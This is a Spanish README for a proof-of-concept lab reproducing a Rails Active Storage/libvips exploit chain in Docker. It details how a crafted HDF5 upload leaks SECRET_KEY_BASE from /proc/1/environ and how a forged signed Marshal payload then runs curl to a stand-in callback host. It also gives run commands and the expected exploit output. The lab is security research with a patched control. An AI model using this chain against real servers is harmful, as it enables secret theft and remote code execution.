
PoC para CVE-2026-66066 en Ruby on Rails
# PoC para CVE-2026-66066 - Laboratorio mínimo de stock Rails/libvips
Este repositorio reproduce la cadena de lectura-de-archivo-a-RCE de Rails Active Storage descrita en
[GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm)
contra Rails 8.1.3, la versión afectada más reciente de Rails 8.1. Rails 8.1.3.1 es
el control parcheado.
Úsalo solo en el laboratorio local desechable descrito aquí. El controlador HTTP
rechaza objetivos que no sean de loopback (aunque es trivial modificar el código Python para pruebas autorizadas contra otros objetivos).
## Límite estricto objetivo/atacante
El objetivo es una aplicación Rails convencional. Su imagen final contiene:
- la imagen oficial de Docker `ruby:3.4.10-slim` fijada;
- una aplicación generada por `rails _VERSION_ new`;
- los paquetes de runtime generados por Rails `curl`, `libjemalloc2`, `libvips`,
y `sqlite3`;
- el entrypoint generado por Rails y el comando predeterminado
`./bin/thrust ./bin/rails server`; y
- un modelo `Upload` normal con un único adjunto de Active Storage, acciones
HTML ordinarias `new`, `create` y `show`, y una variante de imagen PNG.
No contiene un constructor de artefactos, artefacto de subida, controlador de exploit,
constructor de Marshal, código de callback, endpoint de diagnóstico, rastreo de cargador,
script de arranque personalizado, fixture de secreto del objetivo, ni ruta solo-para-exploit. No
establece `VIPS_TRACE`, no reordena el entorno del proceso, no anula el serializador
de Active Storage, ni configura un procesador de imágenes no predeterminado.
El `.dockerignore` raíz envía solo `Dockerfile` y `overlay/` a la compilación.
Los scripts Python del lado del host y todos los artefactos generados se excluyen del
contexto de compilación de Docker, no solo se omiten del paso final de copia.
El overlay completo del objetivo son cinco archivos ordinarios:
```text
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
```
La página de show usa la transformación normal mínima:
```erb
<%= image_tag @upload.avatar.variant(format: :png) %>
```
Una aplicación Rails nueva sin tocar no tiene modelo de aplicación ni página que
acepte un adjunto, por lo que esos cinco archivos son la funcionalidad mínima de
aplicación necesaria para representar la condición de subida-de-imagen-no-confiada del aviso.
## Compilar y ejecutar el objetivo vulnerable
Los requisitos previos son Docker, OpenSSL, Python 3 y `h5py` para el
constructor de artefactos.
En la terminal 1:
```sh
./run_lab.sh 8.1.3
```
El script compila `minimal-rails-vips:8.1.3`, genera un
`SECRET_KEY_BASE` efímero a menos que ya se haya proporcionado uno, publica la aplicación
solo en `127.0.0.1:3000` y ejecuta el entrypoint generado de la imagen y el
comando predeterminado. No se monta ningún directorio fuente ni artefacto en el objetivo.
Si el puerto 3000 ya está ocupado, selecciona otro puerto de loopback sin
cambiar la imagen:
```sh
HOST_PORT=33020 ./run_lab.sh 8.1.3
```
Usa el mismo puerto en `--target` del controlador.
## Ejecutar el constructor y controlador combinados
En la terminal 2:
```sh
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
```
`rails_vips_oast_poc.py` es un constructor y controlador HTTP de un solo uso. A menos que
se proporcione `--artifact`, construye la subida en un directorio temporal privado,
lo conserva durante toda la secuencia de solicitudes y lo elimina cuando
el proceso sale. Construye ambas etapas en lugar de desempaquetar un payload
estático:
1. Pide a `h5py` que cree un archivo MATLAB/HDF5 con un bloque de usuario de 512 bytes.
2. Crea un dataset `uint8` little-endian de `1 × 1024` llamado `environment`.
3. El dataset usa almacenamiento externo HDF5 respaldado por `/proc/1/environ`, desplazamiento
cero, con una extensión limitada de 1.024 bytes.
4. Añade `MATLAB_class="uint8"` y escribe el encabezado `MATLAB 5.0` usado por
el sniffer `matload` de libvips.
5. Su escritor mínimo de Ruby Marshal 4.8 construye el grafo de variación OOB
unsigned completo.
6. Añade un tráiler con verificación de integridad que contiene ese grafo serializado
y un pequeño manifiesto con la URL OAST y el nonce de correlación.
El programa RCE integrado está fijado a `/usr/bin/curl` con un
array de argumentos estructurado. Realiza un GET a la URL OAST configurada y envía solo
el token de correlación aleatorio `rails_ghsa_xr9x`. No usa un shell y
no incluye secretos recuperados, salida de comandos, contenido de archivos ni un
identificador del objetivo en el callback.
Los parámetros del artefacto son:
- `--external-path`: archivo absoluto del lado del objetivo, predeterminado `/proc/1/environ`;
- `--bytes`: extensión externa limitada de 128 a 4096, predeterminado 1024;
- `--oast`: URL base del callback integrada en el payload; y
- `--nonce`: nonce hexadecimal opcional de 16 bytes para un artefacto reproducible.
La URL OAST predeterminada es segura para loopback. Proporciona una URL de receptor alcanzable desde
el contenedor para la verificación de extremo a extremo.
Para conservar la subida generada para inspección o reutilización, añade una ruta de artefacto:
```sh
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
```
Un `--artifact` existente se valida y reutiliza. En ese caso, `--oast`, cuando
se proporciona, debe coincidir con su URL de callback integrada. Añade `--force` para reconstruir y
reemplazarlo atómicamente con los parámetros actuales del constructor.
Para la creación de artefactos sin ninguna solicitud HTTP, el constructor
compañero sigue disponible:
```sh
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
```
`--target` predeterminado es `http://127.0.0.1:3000` y está restringido a
loopback literal o `localhost`.
La salida vulnerable esperada incluye:
```text
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
```
Compara `oast_nonce` en la terminal con el
parámetro de consulta `rails_ghsa_xr9x=<nonce>` recibido por el servicio OAST. El
HTTP 500 de la solicitud de representación final es esperado: el callback
ocurre mientras se reconstruye el Hash Marshal autenticado, antes de que la
transformación general falle posteriormente.
## Qué hace el controlador
La parte del constructor requiere `h5py`; las partes HTTP y criptográficas usan solo
la biblioteca estándar de Python:
1. Construye y valida el artefacto de subida completo y el grafo Marshal
unsigned integrado.
2. Sube un PNG seguro a través del formulario HTML multipart ordinario de la
aplicación, sigue la redirección normal y extrae la
URL de representación de su elemento ``.
3. Usa el endpoint de subida directa integrado de Active Storage de Rails para crear un
blob no adjunto declarado como `image/bmp`, luego sube los bytes
construidos.
4. Combina ese ID firmado de blob válido con la clave de variación normal de
la imagen segura y solicita la representación.
5. libvips Debian estándar selecciona la operación `matload` no fuzzeada. El PNG
devuelto expone los bytes del dataset externo, incluido el
`SECRET_KEY_BASE` del runtime.
6. El controlador deriva la clave de verificador ordinaria de `ActiveStorage`, lee el
payload Marshal ya construido del artefacto, lo firma para el
propósito `variation` y solicita la URL de representación resultante.
7. La deserialización invoca el payload integrado `/usr/bin/curl` y produce
el callback OOB ciego.
El objetivo no contribuye con ningún endpoint auxiliar ni gadget de firma. Las clases Ruby
usadas por el grafo serializado provienen de dependencias ya resueltas por un
Gemfile de `rails new` estándar; la aplicación no las requiere ni configura.
El procesamiento de imágenes permanece en el procesador `:vips` predeterminado de Rails durante todo el proceso.
## Diferencial parcheado
Detén la terminal 1 con Ctrl-C, luego ejecuta:
```sh
./run_lab.sh 8.1.3.1
```
Vuelve a ejecutar el mismo comando del controlador combinado. Si se conservó un artefacto, puede
reutilizarse pasando la misma ruta `--artifact`. El resultado parcheado debería
detenerse en:
```text
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
```
No se devuelven píxeles del entorno, el payload integrado nunca se firma ni
se envía, y no ocurre ningún callback OAST. Active Storage 8.1.3.1 habilita
el bloque de operaciones no confiadas de libvips, por lo que `matload` se rechaza.
## Verificar que la imagen del objetivo está limpia
La configuración final del runtime debería ser la generada:
```sh
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
```
Esperado:
```text
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
```
Inspecciona el único script y confirma que los archivos del PoC están ausentes:
```sh
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
```
La única entrada de script es `/rails/script/.keep` creado por el generador.
Las herramientas de compilación y los CLIs de imagen opcionales también permanecen fuera del runtime:
```sh
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
```
`libvips` está presente como biblioteca de runtime compartida aunque sus herramientas CLI no
están instaladas. El grafo de dependencias estándar de Debian proporciona el soporte de formato MAT/HDF5 vinculado.
## Archivos
- `Dockerfile` genera y empaqueta el objetivo mínimo estándar.
- `.dockerignore` evita que los archivos del lado del atacante entren en el contexto
de compilación.
- `overlay/` contiene solo los cinco archivos normales de la aplicación Rails.
- `run_lab.sh` compila y lanza el objetivo sin ejecutar el PoC.
- `rails_vips_oast_poc.py` construye la imagen de lectura-de-archivo HDF5 y el payload
OOB configurable, impulsa el flujo HTTP normal, recupera el secreto del verificador,
firma el payload integrado y lo activa.